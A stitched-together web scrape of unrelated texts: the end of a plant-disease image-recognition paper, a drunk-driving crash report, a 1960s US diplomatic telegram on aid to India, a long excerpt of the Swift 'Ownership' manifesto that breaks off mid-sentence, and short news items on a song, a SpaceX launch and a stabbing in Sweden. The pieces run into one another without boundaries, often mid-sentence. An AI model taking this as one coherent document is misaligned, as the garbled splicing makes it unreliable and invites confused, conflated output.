Finally, it's worth noting that the approach presented here is not intended to replace existing solutions for disease diagnosis, but rather to supplement them. Laboratory tests are ultimately always more reliable than diagnoses based on visual symptoms alone, and oftentimes early-stage diagnosis via visual inspection alone is challenging. Nevertheless, given the expectation of more than 5 Billion smartphones in the world by 2020—of which almost a Billion in Africa (GSMA Intelligence, 2016)—we do believe that the approach represents a viable additional method to help prevent yield loss. What's more, in the future, image data from a smartphone may be supplemented with location and time information for additional improvements in accuracy. Last but not least, it would be prudent to keep in mind the stunning pace at which mobile technology has developed in the past few years, and will continue to do so. With ever improving number and quality of sensors on mobiles devices, we consider it likely that highly accurate diagnoses via the smartphone are only a question of time.
Author Contributions
MS, DH, and SM conceived the study and wrote the paper. SM implemented the algorithm described.
Conflict of Interest Statement
The authors declare that the research was conducted in the absence of any commercial or financial relationships that could be construed as a potential conflict of interest.
Acknowledgments
We thank Boris Conforty for help with the segmentation. We thank Kelsee Baranowski, Ryan Bringenberg, and Megan Wilkerson for taking the images and Kelsee Baranowski for image curation. We thank Anna Sostarecz, Kaity Gonzalez, Ashtyn Goodreau, Kalley Veit, Ethan Keller, Parand Jalili, Emma Volk, Nooeree Samdani, Kelsey Pryze for additional help with image curation. We thank EPFL, and the Huck Institutes at Penn State University for support. We are particularly grateful for access to EPFL GPU cluster computing resources.
Supplementary Material
The Supplementary Material for this article can be found online at: https://www.frontiersin.org/article/10.3389/fpls.2016.01419
Resources
The data and the code used in this paper are available at the following locations:
Data: https://github.com/salathegroup/plantvillage_deeplearning_paper_dataset
Code: https://github.com/salathegroup/plantvillage_deeplearning_paper_analysis
More image data can be found at https://www.plantvillage.org/en/plant_images
References
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left) and Marisa Catronio were killed after Mendoza collided with their car head-on.
Mendoza wasn't legally old enough to drink at the time of the crash and didn't have a driver's license, according to WSVN.
Hours before the fatal collision, Mendoza tweeted that she was "2 drunk 2 care" from a Twitter account where she'd dubbed herself a "pothead princess" and bragged that her car permanently smelled like marijuana, the New York Daily News reported at the time.
WSVN reported that according to court records, Mendoza had been drinking at a Coral Springs restaurant prior to the crash and had a blood alcohol level of.15. The Florida Highway Patrol also told the outlet that she had traces of marijuana in her system. Her car was moving at over 80 miles per hour.
Mendoza broke both her legs in the crash and was hospitalized for several weeks. Catronio died at the scene of the crash, and Ferrante died several days later.
Mendoza reads an apology to the victims' families in court.
In a video of the court proceedings, the victims' families appeared unmoved by Mendoza's apology.
"You took everything I worked so hard to keep safe and protected and destroyed it in one second, [one] careless second. You destroyed it all," Christine Ferrante, the mother of Kaitlyn Ferrante, said in court.488. Telegram From the Department of State to the Embassy in India 1
131690. Ref: (A) New Delhi’s 10954;2 (B) New Delhi’s 10955.3 For the Ambassador. Subject: Conte/Symington Amendments.
1. We agree with thrust of reftel s that India has reasonable case under Symington amendment. On other hand, as reftel s suggest, application Conte amendment poses complex problems. A fundamental [Page 954]difficulty is that while we are committed by law as well as policy to relate our economic aid to recipient’s decisions on defense expenditures, GOI appears equally committed to view that our economic aid gives us no charter to know or question its decisions in security field. We respect your judgment that if GOI is confronted with stark choice between forefeiting our aid or submitting to what it sees as our dictation on basic security decision, GOI will choose former. Such a confrontation as you rightly point out could have incalculable consequences. Nevertheless, it may not be easy to avoid. 2. Part of difficulty arises from evident failure of GOI to appreciate seriousness of our commitment. Relation we draw between economic aid and recipient’s defense program has become a matter of law, as expressed in Conte and Symington amendments. We have assured Congress we take these amendments seriously and intend to implement them in spirit in which they were legislated. Furthermore, we are planning on probability that these amendments or others like them, possibly more stringent, will be with us for some years to come. Thus cosmetics and figleafs with which GOI has approached problem so far (insofar as it has even recognized problem existed) are totally inadequate basis our relations. 3. GOI has not tailored its actions to any perceptible degree to meet reality of Conte and Symington amendments. Evidence of Indian bad faith—no matter how unintended or necessary from GOI ’s point of view—is far more troublesome here than any transaction of which we are informed. Thus there has been erosion of our confidence in value of GOI ’s assurances which began with SU–7 “misunderstanding” and has been compounded by need to “amend” Morarji’s recent assurances. 4 GOI will not adopt such tactics in future? One instance involving substantial U.S. aid commitment on false basis could well sink all aid to India. 4. We know you have these problems very much on your mind and will continue to do your best to persuade GOI to improve. But record suggests that since it is USSR, not U.S., that supplies bulk of India’s defense imports, GOI is likely as matter of conscious policy to find ways to avoid leveling with us about specific procurement activities in which we are not directly involved. On the other hand, prospects [Page 955]should be more hopeful of developing and sustaining a reasonably candid and useful dialogue with GOI on its overall defense spending and force levels. Your recent conversations with Swaran Singh and B.R. Bhagat reinforce this judgement. If this is case, we should consider adjusting our tactics to aim for a relationship which might attain this minimum objective. 5. As we see it eventual objective would be achievement of a workable understanding with GOI based on Indian recognition of legitimacy of our interest, as major supplier of economic and food aid, in India’s gross force plans and defense spending levels, including foreign exchange outlays for sophisticated weapons systems. As long as India stayed within such mutually agreed gross force and defense spending levels we would resign ourselves normally to take up with GOI only those individual defense procurement transactions in which we were directly involved, either because we were supplier ourselves or because we exercised control over third country supply. 6. Strictly FYI, we have been considering possible approaches to immediate problem of how to apply Conte amendment to India partly in context of their potential contributions to achievement this relationship. Following possible options have not been fully staffed out. They are suggested here for your background and to elicit your comment. No decision has been taken to pursue any of them. (A) Formal Conte Waiver: We could recommend formal Presidential waiver under Conte amendment, either now for FY '68 aid or later, say for FY '69. This course poses number of problems including fact that law as presently written would require determination that Soviet equipment in Indian hands is vital to U.S. national security. Do you think waiver which would become public would (a) serve our overall purposes, including that of holding down Indian defense expenditures, or (b) create political problems for Indians? (B) Deduction under Conte amendment: We are considering your suggestion to dock India $25 million this fiscal year. We recognize some such action may prove only feasible way to handle immediate problem; nevertheless, in evaluating available alternatives, believe following factors ought to be considered: (1) The amount deducted will become matter of public knowledge and final responsibility for determining said amount rests with us not GOI. We must of course act on basis most reliable information available. To extent our sensitive intelligence data differ from those supplied by GOI or available publicly, we may face numerous sticky problems arising from need to avoid jeopardizing sources, from desire to avoid public speculation as to what GOI is really up to, from questions of GOI good faith, etc. (2) Deduction under Conte amendment could tend to fix ceiling for annual aid level to India and make it more difficult to carry out our present plan for additional commitments to India at end of fiscal year. (3) More fundamentally, we are somewhat troubled by possible long-term effects on Indian attitudes of formal invocation Conte amendment, even though amount of penalty may not be large enough significantly to affect development program. We understand that reasons for our pressure on Indian defense spending may not have gotten fully across, in sense that many Indians assume our pressure reflects interest in maintaining regional Indo- Pak arms balance accompanied by lack of interest or sympathy for India in its defense against China. To extent this generalization valid, seems to us that formal action under Conte amendment could strengthen misconception we no longer cared about Indian security problems with China; result could be continuing erosive effect on Indian confidence in U.S. and on value India places in maintaining good relations with U.S. as hedge against China. This could relate to our future ability influence India on NPT, moderation toward Pakistan, and other issues with security implications. Please comment. End FYI. 7. Regardless of course of action we decide on, it is clear that MIG deal has seriously complicated our relations. We realize GOI had considered deferring MIG deal and decided against it but believe it possible GOI might reconsider if it were fully apprised of nature of our concern and especially of our objective as defined para 5. 8. Accordingly you should approach GOI at appropriately high level along following lines, unless you have serious reservations you wish discuss with us first. (Presume you will want to make your approach at Ministerial level, perhaps at joint meeting of Deputy PM and Defense Minister, which would have advantage of removing any doubts on our side that MOD has been short-circuiting Finance Ministry.) (A) USG remains committed to support of Indian economic development. India is in fact receiving increasingly high proportion of total US aid resources. For FY '69 we hope obtain resources from Congress which will constitute substantial increase over current FY level for India and provide major stimulus toward level of economic activity in India we have both been working towards for many years. (B) We remain as convinced as we were in 1963 and 1964 that US and India share a vital interest in opposing the hostile ambitions of Communist China. We recognize India’s role as defender of a long and sensitive border with China. We therefore fully appreciate India’s need for an adequate defense establishment. (C) We are also concerned that Indian expenditures on defense acquisitions can cut into resources available for development and to that extent undercut resources we provide. Furthermore, Conte and Symington amendments have incorporated into law principle that we must relate our aid to recipient’s defense program, in sense of precluding us from indirect support of certain defense expenditures. (D) We shall continue to want as much detailed information as GOI feels free to give us that will help us to administer Conte and [Page 957]Symington amendments, although of course we shall have to make final determinations ourselves on basis all information available to us. But we would like at least to work out understanding, based on GOI ’s recognition of legitimacy our interest, as major supplier of economic and food aid, on India’s gross force plans and defense spending levels, including foreign exchange outlays for sophisticated weapons systems. We would normally raise with GOI only those individual defense procurement transactions in which we were directly involved, either because we were supplier ourselves or because we exercised control over third country supply. (E) An immediate problem we face arises from need for time in which to seek better relationship which hopefully would not bring Conte/Symington amendments into play. This constrains us request GOI to place a temporary moratorium on post-January 2 agreements for acquisition sophisticated military equipment. (This would include specific proposed transaction AID Director Lewis recently discussed with Finance Secretary Patel.) Duration of moratorium would be short, several months at most, and purpose would be limited to that of giving us time to work out problem in its broad outlines, and to try to establish understanding as to how we can together best manage question of aid-defense relationship for longer pull. (F) Favorable GOI response to this suggestion will be extremely helpful in context immediate decisions we face regarding pending program loan and PL 480 agreements, which we hope we can proceed on shortly. If GOI cannot in all conscience respond favorably we shall do our best to keep our relations on an even keel, but task will be considerably more difficult, as well as time-consuming. 9. FYI. We intend to call in Ambassador Jung in the next couple of days to convey same message here.[swift-evolution] [Manifesto] Ownership
Hello, swift-evolution. Memory ownership is a topic that keeps poking its head up here. Core team members have mentioned several times that it's something we're interested in working on. Questions sometimes get referred back to it, saying stuff like "we're working on tools to let you control ARC a little better". It's even on the short list of high-priority features for Swift 4: https://github.com/apple/swift-evolution <https://github.com/apple/swift-evolution> Memory ownership model: an (opt-in) Cyclone/Rust-inspired memory ownership model is highly desired by systems programmers and for other high-performance applications that want predictable and deterministic performance. This feature will fundamentally shape the ABI, from low-level language concerns such as "inout" and low-level "addressors" to its impact on the standard library. While a full memory ownership model is likely too large for Swift 4 stage 1, we need a comprehensive design to understand how it will change the ABI. But that's all pretty vague. What is ownership? What does it mean for programmers? Is somebody ever going to actually write that comprehensive design that was supposed to come out during Stage 1? Well, here you go. I want to emphasize that this document is two things. It is a *manifesto*, because it describes the whole problem and presents a holistic solution to it. And it is a *meta-proposal*, because that holistic solution imagines and a number of changes, each of which is worthy of a proposal; it is, essentially, a proposal that we write a bunch of smaller proposals for each of these changes. But it's not actually a concrete proposal for those smaller changes: it's often lacking in that level of detail, and it leaves a number of questions open. This document, itself, will not undergo the formal evolution process. And it may be that some of these changes aren't really necessary, or that they need major reconsideration before they're appropriate for proposal. But our hope — my hope — is that this document is sufficient for you to understand the holistic approach we're suggesting, or at least puts you in a position where you're comfortable asking questions and trying to figure it out. So, like I said, this isn't a formal proposal. What, then, are we hoping to achieve? Well, we want people to talk about it. We'd like to achieve a consensus about whether this basic approach makes sense for the language and achieves its goals. And, assuming that the consensus is "yes" and that we should go forward with it, we'd like this document — and this thread — to serve as an introduction to the topic that we can refer back to when we're proposing and discussing all of those changes in the weeks to come. With that said, let's get started. John. ------------------------------------------------------------------ # Ownership ## Introduction Adding "ownership" to Swift is a major feature with many benefits for programmers. This document is both a "manifesto" and a "meta-proposal" for ownership: it lays out the basic goals of the work, describes a general approach for achieving those goals, and proposes a number of specific changes and features, each of which will need to be separately discussed in a smaller and more targeted proposal. This document is intended to provide a framework for understanding the contributions of each of those changes. ### Problem statement The widespread use of copy-on-write value types in Swift has generally been a success. It does, however, come with some drawbacks: * Reference counting and uniqueness testing do impose some overhead. * Reference counting provides deterministic performance in most cases, but that performance can still be complex to analyze and predict. * The ability to copy a value at any time and thus "escape" it forces the underlying buffers to generally be heap-allocated. Stack allocation is far more efficient but does require some ability to prevent, or at least recognize, attempts to escape the value. Certain kinds of low-level programming require stricter performance guarantees. Often these guarantees are less about absolute performance than *predictable* performance. For example, keeping up with an audio stream is not a taxing job for a modern processor, even with significant per-sample overheads, but any sort of unexpected hiccup is immediately noticeable by users. Another common programming task is to optimize existing code when something about it falls short of a performance target. Often this means finding "hot spots" in execution time or memory use and trying to fix them in some way. When those hot spots are due to implicit copies, Swift's current tools for fixing the problem are relatively poor; for example, a programmer can fall back on using unsafe pointers, but this loses a lot of the safety benefits and expressivity advantages of the library collection types. We believe that these problems can be addressed with an opt-in set of features that we collectively call *ownership*. ### What is ownership? *Ownership* is the responsibility of some piece of code to eventually cause a value to be destroyed. An *ownership system* is a set of rules or conventions for managing and transferring ownership. Any language with a concept of destruction has a concept of ownership. In some languages, like C and non-ARC Objective-C, ownership is managed explicitly by programmers. In other languages, like C++ (in part), ownership is managed by the language. Even languages with implicit memory management still have libraries with concepts of ownership, because there are other program resources besides memory, and it is important to understand what code has the responsibility to release those resources. Swift already has an ownership system, but it's "under the covers": it's an implementation detail that programmers have little ability to influence. What we are proposing here is easy to summarize: - We should add a core rule to the ownership system, called the Law of Exclusivity, which requires the implementation to prevent variables from being simultaneously accessed in conflicting ways. (For example, being passed `inout` to two different functions.) This will not be an opt-in change, but we believe that most programs will not be adversely affected. - We should add features to give programmers more control over the ownership system, chiefly by allowing the propagation of "shared" values. This will be an opt-in change; it will largely consist of annotations and language features which programmers can simply not use. - We should add features to allow programmers to express types with unique ownership, which is to say, types that cannot be implicitly copied. This will be an opt-in feature intended for experienced programmers who desire this level of control; we do not intend for ordinary Swift programming to require working with such types. These three tentpoles together have the effect of raising the ownership system from an implementation detail to a more visible aspect of the language. They are also somewhat inseparable, for reasons we'll explain, although of course they can be prioritized differently. For these reasons, we will talk about them as a cohensive feature called "ownership". ### A bit more detail The basic problem with Swift's current ownership system is copies, and all three tentpoles of ownership are about avoiding copies. A value may be used in many different places in a program. The implementation has to ensure that some copy of the value survives and is usable at each of these places. As long as a type is copyable, it's always possible to satisfy that by making more copies of the value. However, most uses don't actually require ownership of their own copy. Some do: a variable that didn't own its current value would only be able to store values that were known to be owned by something else, which isn't very useful in general. But a simple thing like reading a value out of a class instance only requires that the instance still be valid, not that the code doing the read actually own a reference to it itself. Sometimes the difference is obvious, but often it's impossible to know. For example, the compiler generally doesn't know how an arbitrary function will use its arguments; it just falls back on a default rule for whether to pass ownership of the value. When that default rule is wrong, the program will end up making extra copies at runtime. So one simple thing we can do is allow programs to be more explicit at certain points about whether they need ownership or not. That closely dovetails with the desire to support non-copyable types. Most resources require a unique point of destruction: a memory allocation can only be freed once, a file can only be closed once, a lock can only be released once, and so on. An owning reference to such a resource is therefore naturally unique and thus non-copyable. Of course, we can artificially allow ownership to be shared by, say, adding a reference count and only destroying the resource when the count reaches zero. But this can substantially increase the overhead of working with the resource; and worse, it introduces problems with concurrency and re-entrancy. If ownership is unique, and the language can enforce that certain operations on a resource can only be performed by the code that owns the resource, then by construction only one piece of code can perform those operations at a time. As soon as ownership is shareable, that property disappears. So it is interesting for the language to directly support non-copyable types because they allow the expression of optimally-efficient abstractions over resources. However, working with such types requires all of the abstraction points like function arguments to be correctly annotated about whether they transfer ownership, because the compiler can no longer just make things work behind the scenes by adding copies. Solving either of these problems well will require us to also solve the problem of non-exclusive access to variables. Swift today allows nested accesses to the same variable; for example, a single variable can be passed as two different `inout` arguments, or a method can be passed a callback that somehow accesses the same variable that the method was called on. Doing this is mostly discouraged, but it's not forbidden, and both the compiler and the standard library have to bend over backwards to ensure that the program won't misbehave too badly if it happens. For example, `Array` has to retain its buffer during an in-place element modification; otherwise, if that modification somehow reassigned the array variable, the buffer would be freed while the element was still being changed. Similarly, the compiler generally finds it difficult to prove that values in memory are the same at different points in a function, because it has to assume that any opaque function call might rewrite all memory; as a result, it often has to insert copies or preserve redundant loads out of paranoia. Worse, non-exclusive access greatly limits the usefulness of explicit annotations. For example, a "shared" argument is only useful if it's really guaranteed to stay valid for the entire call, but the only way to reliably satisfy that for the current value of a variable that can be re-entrantly modified is to make a copy and pass that instead. It also makes certain important patterns impossible, like stealing the current value of a variable in order to build something new; this is unsound if the variable can be accessed by other code in the middle. The only solution to this is to establish a rule that prevents multiple contexts from accessing the same variable at the same time. This is what we propose to do with the Law of Exclusivity. All three of these goals are closely linked and mutually reinforcing. The Law of Exclusivity allows explicit annotations to actually optimize code by default and enables mandatory idioms for non-copyable types. Explicit annotations create more optimization opportunities under the Law and enable non-copyable types to function. Non-copyable types validate that annotations are optimal even for copyable types and create more situations where the Law can be satisfied statically. ### Criteria for success As discussed above, it is the core team's expectation that ownership can be delivered as an opt-in enhancement to Swift. Programmers should be able to largely ignore ownership and not suffer for it. If this expectation proves to not be satisfiable, we will reject ownership rather than imposing substantial burdens on regular programs. The Law of Exclusivity will impose some new static and dynamic restrictions. It is our belief that these restrictions will only affect a small amount of code, and only code that does things that we already document as producing unspecified results. These restrictions, when enforced dynamically, will also hurt performance. It is our hope that this will be "paid for" by the improved optimization potential. We will also provide tools for programmers to eliminate these safety checks where necessary. We will discuss these restrictions in greater detail later in this document. ## Core definitions ### Values Any discussion of ownership systems is bound to be at a lower level of abstraction. We will be talking a lot about implementation topics. In this context, when we say "value", we mean a specific instance of a semantic, user-language value. For example, consider the following Swift code: ``` var x = [1,2,3] var y = x ``` People would often say that `x` and `y` have the same value at this point. Let's call this a *semantic value*. But at the level of the implementation, because the variables `x` and `y` can be independently modified, the value in `y` must be a copy of the value in `x`. Let's call this a *value instance*. A value instance can be moved around in memory and remain the same value instance, but a copy always yields a new value instance. For the remainder of this document, when we use "value" without any qualification, we mean it in this low-level sense of value instance. What it means to copy or destroy a value instance depends on the type: * Some types do not require extra work besides copying their byte-representation; we call these *trivial*. For example, `Int` and `Float` are trivial types, as are ordinary `struct`s and `enum`s containing only such values. Most of what we have to say about ownership in this document doesn't apply to the values of such types. However, the Law of Exclusivity will still apply to them. * For reference types, the value instance is a reference to an object. Copying the value instance means making a new reference, which increases the reference count. Destroying the value instance means destroying a reference, which decreases the reference count. Decreasing the reference count can, of course, drop it to zero and thus destroy the object, but it's important to remember that all this talk about copying and destroying values means manipulating reference counts, not copying the object or (necessarily) destroying it. * For copy-on-write types, the value instance includes a reference to a buffer, which then works basically like a reference type. Again, it is important to remember that copying the value doesn't mean copying the contents of the buffer into a new buffer. There are similar rules for every kind of type. ### Memory In general, a value can be owned in one of two ways: it can be "in flight", a temporary value owned by a specific execution context which computed the value as an operand, or it can be "at rest", stored in some sort of memory. We don't need to focus much on temporary values because their ownership rules are straightforward. Temporary values are created as the result of some expression; that expression is used in some specific place; the value is needed in that place and not thereafter; so the implementation should clearly take all possible steps to forward the value directly to that place instead of forcing it to be copied. Users already expect all of this to happen, and there's nothing really to improve here. Therefore, most of our discussion of ownership will center around values stored in memory. There are five closely related concepts in Swift's treatment of memory. A *storage declaration* is the language-syntax concept of a declaration that can be treated in the language like memory. Currently, these are always introduced with `let`, `var`, and `subscript`. A storage declaration has a type. It also has an implementation which defines what it means to read or write the storage. The default implementation of a `var` or `let` just creates a new variable to store the value, but storage declarations can also be computed, and so there needn't be any variables at all behind one. A *storage reference expression* is the syntax concept of an expression that refers to storage. This is similar to the concept from other languages of an "l-value", except that it isn't necessarily usable on the left side of an assignment because the storage doesn't have to be mutable. A *storage reference* is the language-semantics concept of a fully filled-in reference to a specific storage declaration. In other words, it is the result of evaluating a storage reference expression in the abstract, without actually accessing the storage. If the storage is a member, this includes a value or storage reference for the base. If the storage is a subscript, this includes a value for the index. For example, a storage reference expression like `widgets[i].weight` might abstractly evaluate to this storage reference: * the storage for the property `var weight: Double` of * the storage for the subscript `subscript(index: Int)` at index value `19: Int` of * the storage for the local variable `var widgets: [Widget]` A *variable* is the semantics concept of a unique place in memory that stores a value. It's not necessarily mutable, at least as we're using it in this document. Variables are usually created for storage declarations, but they can also be created dynamically in raw memory, e.g. using UnsafeRawPointer. A variable always has a specific type. It also has a *lifetime*, i.e. a point in the language semantics where it comes into existence and a point (or several) where it is destroyed. A *memory location* is a contiguous range of addressable memory. In Swift, this is mostly an implementation concept. Swift does not guarantee that any particular variable will have a consistent memory location throughout its lifetime, or in fact be stored in a memory location at all. But a variable can sometimes be temporarily forced to exist at a specific, consistent location: e.g. it can be passed `inout` to `withUnsafeMutablePointer`. ### Accesses A particular evaluation of a storage reference expression is called an access. Accesses come in three kinds: *reads*, *assignments*, and *modifications*. Assignments and modifications are both *writes*, with the difference being that an assignment completely replaces the old value without reading it, while a modification does rely on the old value. All storage reference expressions are classified into one of these three kinds of access based on the context in which the expression appears. It is important to note that this decision is superficial: it relies only on the semantic rules of the immediate context, not on a deeper analysis of the program or its dynamic behavior. For example, a storage reference passed as an `inout` argument is always evaluated as a modification in the caller, regardless of whether the callee actually uses the current value, performs any writes to it, or even refers to it at all. The evaluation of a storage reference expression is divided into two phases: it is first formally evaluated to a storage reference, and then a formal access to that storage reference occurs for some duration. The two phases are often evaluated in immediate succession, but they can be separated in complex cases, such as when an `inout` argument is not the last argument to a call. The purpose of this phase division is to minimize the duration of the formal access while still preserving, to the greatest extent possible, Swift's left-to-right evaluation rules. ## The Law of Exclusivity With all of that established, we can succinctly state the first part of this proposal, the Law of Exclusivity: > If a storage reference expression evaluates to a storage > reference that is implemented by a variable, then the formal > access duration of that access may not overlap the formal > access duration of any other access to the same variable > unless both accesses are reads. This is intentionally vague: it merely says that accesses "may not" overlap, without specifying how that will be enforced. This is because we will use different enforcement mechanisms for different kinds of storage. We will discuss those mechanisms in the next major section. First, however, we need to talk in general about some of the implications of this rule and our approach to satisfying it. ### Duration of exclusivity The Law says that accesses must be exclusive for their entire formal access duration. This duration is determined by the immediate context which causes the access; that is, it's a *static* property of the program, whereas the safety problems we laid out in the introduction are *dynamic*. It is a general truth that static approaches to dynamic problems can only be conservatively correct: there will be dynamically-reasonable programs that are nonetheless rejected. It is fair to ask how that general principle applies here. For example, when storage is passed as an `inout` argument, the access lasts for the duration of the call. This demands caller-side enforcement that no other accesses can occur to that storage during the call. Is it possible that this is too coarse-grained? After all, there may be many points within the called function where it isn't obviously using its `inout` argument. Perhaps we should track accesses to `inout` arguments at a finer-grained level, within the callee, instead of attempting to enforce the Law of Exclusivity in the caller. The problem is that that idea is simply too dynamic to be efficiently implemented. A caller-side rule for `inout` has one key advantage: the caller has an enormous amount of information about what storage is being passed. This means that a caller-side rule can often be enforced purely statically, without adding dynamic checks or making paranoid assumptions. For example, suppose that a function calls a `mutating` method on a local variable. (Recall that `mutating` methods are passed `self` as an `inout` argument.) Unless the variable has been captured in an escaping closure, the function can easily examine every access to the variable to see that none of them overlap the call, thus proving that the rule is satisfied. Moreover, that guarantee is then passed down to the callee, which can use that information to prove the safety of its own accesses. In contrast, a callee-side rule for `inout` cannot take advantage of that kind of information: the information is simply discarded at the point of the call. This leads to the widespread optimization problems that we see today, as discussed in the introduction. For example, suppose that the callee loads a value from its argument, then calls a function which the optimizer cannot reason about: ``` extension Array { mutating func organize(_ predicate: (Element) -> Bool) { let first = self[0] if!predicate(first) { return }... // something here uses first } } ``` Under a callee-side rule, the optimizer must copy `self[0]` into `first` because it must assume (paranoidly) that `predicate` might somehow turn around and modify the variable that `self` was bound to. Under a caller-side rule, the optimizer can use the copy of value held in the array element for as long as it can continue to prove that the array hasn't been modified. Moreover, as the example above suggests, what sort of code would we actually be enabling by embracing a callee-side rule? A higher-order operation like this should not have to worry about the caller passing in a predicate that re-entrantly modifies the array. Simple implementation choices, like making the local variable `first` instead of re-accessing `self[0]` in the example above, would become semantically important; maintaining any sort of invariant would be almost inconceivable. It is no surprise that Swift's libraries generally forbid this kind of re-entrant access. But, since the library can't completely prevent programmers from doing it, the implementation must nonetheless do extra work at runtime to prevent such code from running into undefined behavior and corrupting the process. Because it exists solely to work around the possibility of code that should never occur in a well-written program, we see this as no real loss. Therefore, this proposal generally proposes access-duration rules like caller-side `inout` enforcement, which allow substantial optimization opportunities at little semantic cost. ### Components of value and reference types We've been talking about *variables* a lot. A reader might reasonably wonder what all this means for *properties*. Under the definition we laid out above, a property is a storage declaration, and a stored property creates a corresponding variable in its container. Accesses to that variable obviously need to obey the Law of Exclusivity, but are there any additional restrictions in play due to the fact that the properties are organized together into a container? In particular, should the Law of Exclusivity prevent accesses to different properties of the same variable or value from overlapping? Properties can be classified into three groups: - instance properties of value types, - instance properties of reference types, and - `static` and `class` properties on any kind of type. We propose to always treat reference-type and `static` properties as independent from one another other, but to treat value-type properties as generally non-independent outside of a specific (but important) special case. That's a potentially significant restriction, and it's reasonable to wonder both why it's necessary and why we need to draw this distinction between different kinds of property. There are three reasons. #### Independence and containers The first relates to the container. For value types, it is possible to access both an individual property and the entire aggregate value. It is clear that an access to a property can conflict with an access to the aggregate, because an access to the aggregate is essentially an access to all of the properties at once. For example, consider a variable (not necessarily a local one) `p: Point` with stored properties `x`, `y`, and `z`. If it were possible to simultaneously and independently modify `p` and `p.x`, that would be an enormous hole in the Law of Exclusivity. So we do need to enforce the Law somehow here. We have three options. (This may make more sense after reading the main section about enforcing the Law.) The first option is to simply treat `p.x` as also an access to `p`. This neatly eliminates the hole because whatever enforcement we're using for `p` will naturally prevent conflicting accesses to it. But this will also prevent accesses to different properties from overlapping, because each will cause an access to `p`, triggering the enforcement. The other two options involve reversing that relationship. We could split enforcement out for all the individual stored properties, not for the aggregate: an access to `p` would be treated as an access to `p.x`, `p.y`, and `p.z`. Or we could parameterize enforcement and teach it to record the specific path of properties being accessed: "", ".x", and so on. Unfortunately, there are two problems with these schemes. The first is that we don't always know the full set of properties, or which properties are stored; the implementation of a type might be opaque to us due to e.g. generics or resilience. An access to a computed property must be treated as an access to the whole value because it involves passing the variable to a getter or setter either `inout` or `shared`; thus it does actually conflict with all other properties. Attempting to make things work despite that by using dynamic information would introduce ubiquitous bookkeeping into value-type accessors, endangering the core design goal of value types that they serve as a low-cost abstraction tool. The second is that, while these schemes can be applied to static enforcement relatively easily, applying them to dynamic enforcement would require a fiendish amount of bookkeeping to be carried out dynamically; this is simply not compatible with our performance goals. Thus, while there is a scheme which allows independent access to different properties of the same aggregate value, it requires us to be using static enforcement for the aggregate access and to know that both properties are stored. This is an important special case, but it is just a special case. In all other cases, we must fall back on the general rule that an access to a property is also an access to the aggregate. These considerations do not apply to `static` properties and properties of reference types. There are no language constructs in Swift which access every property of a class simultaneously, and it doesn't even make sense to talk about "every" `static` property of a type because an arbitrary module can add a new one at any time. #### Idioms of independent access The second relates to user expectations. Preventing overlapping accesses to different properties of a value type is at most a minor inconvenience. The Law of Exclus |
can be retrieved), and will allow us to assess which kinds of activities you undertook while playing the game.
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To participate in the study you will be required to provide your Steam Name. No risk to you or your computer is expected as a result of this actionAfter Turner Sports utilized two versions of “One Shining Moment” last year, CBS is going to use the classic Luther Vandross version for the 2017 NCAA Basketball Tournament. Such a decision is likely going to result in a lot of college basketball fans breathing a sigh of relief.
In an interview with TMZ, “One Shining Moment” songwriter David Barrett revealed that Vandross’ version is going to be used after the nets are cut down in this year’s National Championship game.
This comes after TBS had originally named Ne-Yo to do “One Shining Moment” in 2016. After that decision received backlash, TBS decided to compromise and move Ne-Yo’s version to the Team Stream broadcasts and use Vandross’ version on the traditional TBS broadcast. Now that the title game is on CBS this year, it’s Vandross all the way.
Vandross’ version is the longest tenured version of “One Shining Moment” having been played from 2003 to 2009 and then from 2011 to now. Barrett actually recorded the first version of the song that was on CBS. Teddy Pendergrass and Jennifer Hudson, along with Ne-Yo have also recorded versions.
But before we even got to hear the great Vandross version, Barrett revealed that Eminem was actually considered by CBS executives to record a version. Barrett was against Eminem performing the song because he said, and rightly so, that “One Shining Moment” is a difficult song to sing and in order for it to be sung well, needs a singer with a large range. No offense to Eminem, he’s a great rapper, singer and performer, but his singing range is pretty limited. Thankfully, cooler heads prevailed and they got Vandross instead. And we’ll be hearing him once again in 2017.
[TMZ]SpaceX is gearing up for its next Falcon 9 rocket launch this Wednesday, which will send a telecommunications satellite into orbit for the company SES. It will also attempt to land its rocket after launch, but doesn't expect a successful recovery.
This mission will also take a different path than originally intended. The launch was supposed to take place in September, but was then repeatedly delayed after one of SpaceX’s rockets exploded on June 28th. Those delays prompted SpaceX to change the flight path for the launch to help get the satellite into its intended orbit much faster, according to SES.
Delays prompted SpaceX to change the flight path for the launch
The SES-9 satellite that SpaceX is launching is meant to go into geostationary orbit — a circular path more than 22,000 miles above the equator. To get there, SpaceX will boost the satellite part of the way into space; then the satellite will propel itself the rest of the way to its intended orbit. Compared to the rocket, the satellite travels very slowly, and may take months to get to where it’s going, according to Space News. And with all the launch delays, SES is eager to get the satellite operational as soon as possible. So SpaceX has agreed to drop off SES-9 at a higher orbit than originally planned, cutting down the satellite’s solo trip.
Rocket recovery will be much more difficult since this satellite is very heavy and going to a very high orbit. The Falcon 9 will need to go a lot faster. That means the rocket will need extra fuel for the actual launch. But it also means there will be less room for the fuel needed to perform a landing afterward. "Given this mission’s unique GTO profile, a successful landing is not expected," SpaceX said in a statement.
The rocket will attempt to land on one of its drone ships at sea, a feat that requires less fuel than a ground landing. SpaceX is also using its new updated Falcon 9 for the launch — a vehicle that's supposed to make rocket recovery easier. But SpaceX has tried three times before to land the Falcon 9 at sea, and it failed to stick the landing each time. (It did get pretty close on its last attempt.) A floating drone ship on a choppy sea is a much more difficult landing target than a large expanse of unmoving land.
SpaceX has been trying for more than a year to land its rockets after launching them into space. It's part of the company's plan to reuse its vehicles in order to bring down launch costs. So far, SpaceX has only been able to land the Falcon 9 on solid ground — as it did in December. But CEO Elon Musk has said that not all missions are suited for ground landings. Demonstrating a successful sea landing would prove that SpaceX is capable of mastering multiple types of rocket recovery, potentially allowing them to reuse even more rockets in the future.
The Falcon 9 is scheduled to take off at 6:46PM ET tomorrow from Cape Canaveral, Florida. Check back here tomorrow to watch the launch live.
Correction: The original version of this article said that changes to the flight path will make it harder for rocket recovery. SpaceX says the heavy satellite and intended geostationary orbit will reduce chances of success. The second and fourth paragraphs have been updated.
This is why SpaceX shouldn't be compared to Blue Origin:Police confirmed on Tuesday morning that they had arrested two people over the violence and said that both were from Eritrea.
Officers told Swedish media that the youngest suspect, 23, had already been questioned but added that a second 35-year-old man linked to the attacks remained in hospital with life-threatening injuries.
The suspects knew one another and were living at the same accommodation complex for asylum seekers, they added.
Meanwhile police said that the shoppers who were stabbed to death at the Ikea store in the central Swedish town of Västerås on Monday were a mother and son, aged 55 and 28.
